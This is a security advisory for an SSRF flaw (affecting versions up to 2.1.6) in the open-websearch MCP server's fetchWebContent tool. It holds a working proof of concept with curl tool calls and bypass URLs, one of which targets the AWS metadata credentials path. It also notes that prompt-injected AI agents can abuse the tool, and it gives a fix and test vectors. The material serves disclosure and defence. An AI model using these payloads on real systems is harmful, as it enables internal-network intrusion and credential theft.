open-websearch has SSRF in `fetchWebContent` MCP tool: bracketed IPv6 literals and non-resolving hostname check bypass `isPrivateOrLocalHostname`

Description

Summary

src/utils/urlSafety.ts exposes isPublicHttpUrl / assertPublicHttpUrl, used to gate the MCP fetchWebContent tool against private-network targets. The check has two defects that together allow non-blind SSRF with the response body returned to the caller:

  1. Bracketed IPv6 literals are never recognized. Node's WHATWG URL.hostname keeps the surrounding […] for IPv6 literals. isIP("[::1]") returns 0 (not 6), so neither isPrivateIpv4 nor isPrivateIpv6 is ever called on an IPv6 literal input — including [::1] itself, and including every IPv4-mapped form such as [::ffff:7f00:1] (= 127.0.0.1 via the IPv4 stack).
  2. No DNS resolution. isPrivateOrLocalHostname only inspects the literal hostname string. It never resolves the host to an IP. Any attacker-controlled hostname whose DNS record points at 127.0.0.1 (or any RFC1918 / link-local address) passes the check unchanged, and axios then performs its own resolution and connects to the private address.

The isPrivateIpv6 implementation also has the hex bypass (it would miss ::ffff:7f00:1 even if reached) but defect (1) makes every bracketed IPv6 literal slip past before that branch is even entered.

The fetchWebContent tool returns the response body (JSON.stringify(result)) to the MCP caller, so the SSRF is non-blind.

Details

<!-- obsidian --><p><strong>Vulnerable function</strong> — <code>src/utils/urlSafety.ts:95-119</code>:</p>
<pre><code class="language-ts">export function isPrivateOrLocalHostname(hostname: string): boolean {
const host = hostname.trim().toLowerCase();
if (!host) return true;
if (host === 'localhost' || host.endsWith('.localhost')) return true;
if (host === 'metadata.google.internal' || host === 'metadata.azure.internal') return true;
const integerIp = parseIntegerIpv4Literal(host);
if (integerIp &#x26;&#x26; isPrivateIpv4(integerIp)) return true;
if (isPrivateOrLocalIp(host)) return true; // only runs if isIP(host) ∈ {4, 6}
return false;
}
</code></pre>
<p><code>isPrivateOrLocalIp</code> — <code>src/utils/urlSafety.ts:84-93</code>:</p>
<pre><code class="language-ts">function isPrivateOrLocalIp(ip: string): boolean {
const version = isIP(ip); // returns 0 for "[::1]", "[::ffff:7f00:1]", any bracketed literal
if (version === 4) return isPrivateIpv4(ip);
if (version === 6) return isPrivateIpv6(ip);
return false;
}
</code></pre>
<p>Caller — <code>src/tools/setupTools.ts:252-286</code> (<code>fetchWebContent</code> tool):</p>
<pre><code class="language-ts">server.tool(
fetchWebToolName, // default: "fetchWebContent"
"Fetch content from a public HTTP(S) URL ...",
{ url: z.string().url().refine(
(url) => validatePublicWebUrl(url), // → isPublicHttpUrl → isPrivateOrLocalHostname
"URL must be a public HTTP(S) address ..."
), // },
async ({url, maxChars}) => {
const result = await runtime.services.fetchWeb.execute({ url, maxChars, // });
return { content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] };
}
);
</code></pre>
<p>Service — <code>src/engines/web/fetchWebContent.ts:313-375</code>: re-validates via <code>assertPublicHttpUrl</code> (same broken check), then calls <code>axios.head</code> + <code>axios.get</code> on the raw URL and returns <code>response.data</code> and <code>response.headers</code> to the caller.</p>
<p>Transport — <code>src/index.ts:85-253</code>: when <code>config.enableHttpServer</code> is true (documented configuration; enabled by the Docker image), the MCP server binds on <code>0.0.0.0:${PORT}</code> (default <code>3000</code>) with CORS <code>origin: '*'</code> and <strong>no authentication</strong> on <code>/mcp</code> (Streamable HTTP) or <code>/sse</code> (legacy SSE). Anyone who can reach the port can invoke any tool.</p>
<h3 data-heading="Verification of the validator (run against current &#x60;HEAD&#x60;)">Verification of the validator (run against current <code>HEAD</code>)</h3>
<p>I executed the real <code>isPublicHttpUrl</code> / <code>assertPublicHttpUrl</code> from <code>src/utils/urlSafety.ts</code> under <code>tsx</code> against a set of inputs:</p>

Input URL parsed.hostname isPublicHttpUrl assertPublicHttpUrl
http://[::ffff:7f00:1]/ (127.0.0.1) [::ffff:7f00:1] true ← bypass PASSED ← bypass
http://[::ffff:a9fe:1]/ (169.254.0.1) [::ffff:a9fe:1] true ← bypass PASSED ← bypass
http://[::ffff:a00:1]/ (10.0.0.1) [::ffff:a00:1] true ← bypass PASSED ← bypass
http://[::ffff:127.0.0.1]/ [::ffff:7f00:1] true ← bypass PASSED ← bypass
http://[0:0:0:0:0:0:0:1]/ [::1] true ← bypass PASSED ← bypass
http://[::1]/ (plain loopback!) [::1] true ← bypass PASSED ← bypass
http://127.0.0.1/ (control) 127.0.0.1 false (blocked) threw (blocked)
http://localhost/ (control) localhost false (blocked) threw (blocked)

<p>WHATWG <code>new URL("http://[::ffff:127.0.0.1]/").hostname</code> returns <code>[::ffff:7f00:1]</code> — note that Node's URL parser actively re-encodes the dotted form to hex, helping the bypass. Every bracketed IPv6 literal passes the validator.</p>
<h3 data-heading="Verification of the fetch (Node 22/25)">Verification of the fetch (Node 22/25)</h3>
<p>I bound a trivial HTTP server to <code>127.0.0.1:29999</code> and called <code>axios.get("http://[::ffff:7f00:1]:29999/")</code> from Node; the request reached the server:</p>
<pre><code> HIT: / from 127.0.0.1 family IPv4
http://[::ffff:7f00:1]:29999/ -> 200 &#x3C;html>internal content&#x3C;/html>
</code></pre>
<p>The OS routes <code>::ffff:X.X.X.X</code> connections through the IPv4 stack, so the PoC works identically across macOS and Linux.</p>

Environment: clean clone of Aas-ee/open-webSearch@HEAD, Node 22+.

1. Start the MCP HTTP server.

git clone https://github.com/Aas-ee/open-webSearch.git
cd open-webSearch
npm install &amp;&amp; npm run build
MODE=http PORT=3000 node build/index.js &amp;

2. Stand up a canary on loopback.

node -e &#x27;
  require(&quot;http&quot;).createServer((q,r)=&gt;{
    console.log(&quot;[canary]&quot;, q.method, q.url, &quot;from&quot;, q.socket.remoteAddress);
    r.writeHead(200, {&quot;content-type&quot;:&quot;text/html&quot;});
    r.end(&quot;INTERNAL-SECRET: canary-hit for &quot; + q.url);
  }).listen(19999, &quot;127.0.0.1&quot;, () =&gt; console.log(&quot;canary on 127.0.0.1:19999&quot;));
&#x27; &amp;

3. Open an MCP session and call fetchWebContent with the bypass URL.

# Accept header must include both JSON and SSE for Streamable HTTP transport.
ACCEPT=&#x27;application/json, text/event-stream&#x27;

# initialize → grab the mcp-session-id header
SID=$(curl -sSD - -o /dev/null -X POST http://127.0.0.1:3000/mcp \
  -H &quot;Accept: $ACCEPT&quot; -H &#x27;Content-Type: application/json&#x27; \
  -d &#x27;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;initialize&quot;,&quot;params&quot;:{&quot;protocolVersion&quot;:&quot;2025-03-26&quot;,&quot;capabilities&quot;:{},&quot;clientInfo&quot;:{&quot;name&quot;:&quot;poc&quot;,&quot;version&quot;:&quot;0&quot;}}}&#x27; \
  | awk &#x27;tolower($1)==&quot;mcp-session-id:&quot; { gsub(/\r/,&quot;&quot;); print $2 }&#x27;)

# notifications/initialized
curl -sS -X POST http://127.0.0.1:3000/mcp \
  -H &quot;Accept: $ACCEPT&quot; -H &#x27;Content-Type: application/json&#x27; -H &quot;mcp-session-id: $SID&quot; \
  -d &#x27;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;method&quot;:&quot;notifications/initialized&quot;,&quot;params&quot;:{}}&#x27; &gt;/dev/null

# call fetchWebContent with the SSRF bypass URL
curl -sS -X POST http://127.0.0.1:3000/mcp \
  -H &quot;Accept: $ACCEPT&quot; -H &#x27;Content-Type: application/json&#x27; -H &quot;mcp-session-id: $SID&quot; \
  -d &#x27;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:2,&quot;method&quot;:&quot;tools/call&quot;,&quot;params&quot;:{
        &quot;name&quot;:&quot;fetchWebContent&quot;,
        &quot;arguments&quot;:{&quot;url&quot;:&quot;http://[::ffff:7f00:1]:19999/internal&quot;,&quot;maxChars&quot;:10000}
      }}&#x27;

Expected result: the canary logs [canary] GET /internal from 127.0.0.1, and the MCP response contains INTERNAL-SECRET: canary-hit for /internal in the tool's content[0].text.

Additional bypass vectors that work the same way:

  • http://[::1]:&lt;port&gt;/ — plain IPv6 loopback.
  • http://[::ffff:a9fe:1]/latest/meta-data/iam/security-credentials/ — AWS EC2 metadata over the IPv4 stack.
  • http://attacker.example/ where attacker.example has A/AAAA pointing at any private address — bypasses via defect (2), no IPv6 trick needed.

Impact

  • Cross-tenant SSRF with full response body. Any client that can speak MCP to the HTTP transport can fetch arbitrary private-network URLs and receive the response body. AWS EC2 metadata, internal dashboards, loopback services, RFC1918 neighbours — all in scope.
  • Pre-auth when enableHttpServer is set. No authentication layer exists on /mcp or /sse; CORS is *.
  • DNS-rebinding / LAN-victim angle. Because /mcp is CORS * and accepts POST, a victim who visits an attacker-controlled webpage while running open-webSearch locally will have their browser used to send tool-call requests, and the tool's response can be exfiltrated back via a simple XHR.
  • Exploitable over stdio too. Even with HTTP disabled, a compromised or prompt-injected MCP client can call fetchWebContent against loopback on the host running the server — a realistic LLM-agent-abuse vector.

No meaningful mitigation in the call chain: only http:// and https:// schemes are accepted, but that is not a restriction for SSRF.

Suggested fix

Two changes, either of which individually closes most of the gap; both together close it fully.

  1. Normalize the hostname before IP checks, and perform a DNS resolution. Use the ip-address package or a similar canonicalizer, and reject any getaddrinfo result whose IP falls in a private CIDR. Keep a bracket-stripping step for IPv6 literals before calling isIP().

    ```ts
    import { lookup } from 'node:dns/promises';
    import { Address4, Address6 } from 'ip-address';

    function stripBrackets(h: string): string {
    return h.startsWith('[') && h.endsWith(']') ? h.slice(1, -1) : h;
    }

    const BLOCKED_V6_CIDRS = [
    '::1/128', '::/128',
    'fc00::/7', 'fe80::/10',
    '2001:db8::/32', '2002::/16', '64:ff9b::/96',
    '100::/64', 'ff00::/8',
    '::ffff:0:0/96', // IPv4-mapped — delegate to v4 check
    ];

    function ipv6IsPrivate(addr6: Address6): boolean {
    const v4 = addr6.to4();
    if (v4 && v4.isValid()) return isPrivateIpv4(v4.address);
    return BLOCKED_V6_CIDRS.some(cidr => addr6.isInSubnet(new Address6(cidr)));
    }

    export async function assertPublicHttpUrl(url: URL | string, label = 'URL') {
    const parsed = typeof url === 'string' ? new URL(url) : url;
    if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') throw …;
    const host = stripBrackets(parsed.hostname);

    // Literal IP case.
    const v = isIP(host);
    if (v === 4 && isPrivateIpv4(host)) throw …;
    if (v === 6 && ipv6IsPrivate(new Address6(host))) throw …;

    if (v === 0) {
    // Hostname — resolve and check every record.
    const records = await lookup(host, { all: true, verbatim: true });
    for (const r of records) {
    if (r.family === 4 && isPrivateIpv4(r.address)) throw …;
    if (r.family === 6 && ipv6IsPrivate(new Address6(r.address))) throw …;
    }
    }
    }
    ```

  2. Dual-pin the connection. Even a perfect pre-connect check has TOCTOU gaps (DNS rebinding between check and axios.get). Use a custom undici Agent whose connect hook validates the actual connected socket IP via socket.remoteAddress. That closes the rebinding window.

  3. Gate the HTTP transport. Require a bearer token (env var) on /mcp and /sse, and restrict binding to 127.0.0.1 by default. CORS * plus no-auth on 0.0.0.0 is the same exposure profile as an unauthenticated open proxy.

Test vectors to add to the suite:

```ts
for (const url of [
'http://[::1]/', 'http://[::]/',
'http://[::ffff:127.0.0.1]/', 'http://[::ffff:7f00:1]/',
'http://[0:0:0:0:0:ffff:127.0.0.1]/',
'http://[0:0:0:0:0:0:0:1]/', 'http://[::0:1]/', 'http://[0:0::1]/',
'http://[::ffff:a00:1]/', 'http://[::ffff:c0a8:1]/', 'http://[::ffff:a9fe:1]/',
]) expect(isPublicHttpUrl(url)).toBe(false);

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-05-05 20:51:45 UTC
Updated
2026-05-13 16:24:34 UTC
GitHub reviewed
2026-05-05 20:51:45 UTC
NVD published
2026-05-12

EPSS Score

Score Percentile
0.03% 8.72%

CVSS Scores

Base score Version Severity Vector
8.2 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-20 Improper Input Validation
CWE-693 Protection Mechanism Failure
CWE-918 Server-Side Request Forgery (SSRF)

Credits

  • shmulc8 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm open-websearch <= 2.1.6 2.1.7

References

cvelogic Threat Intelligence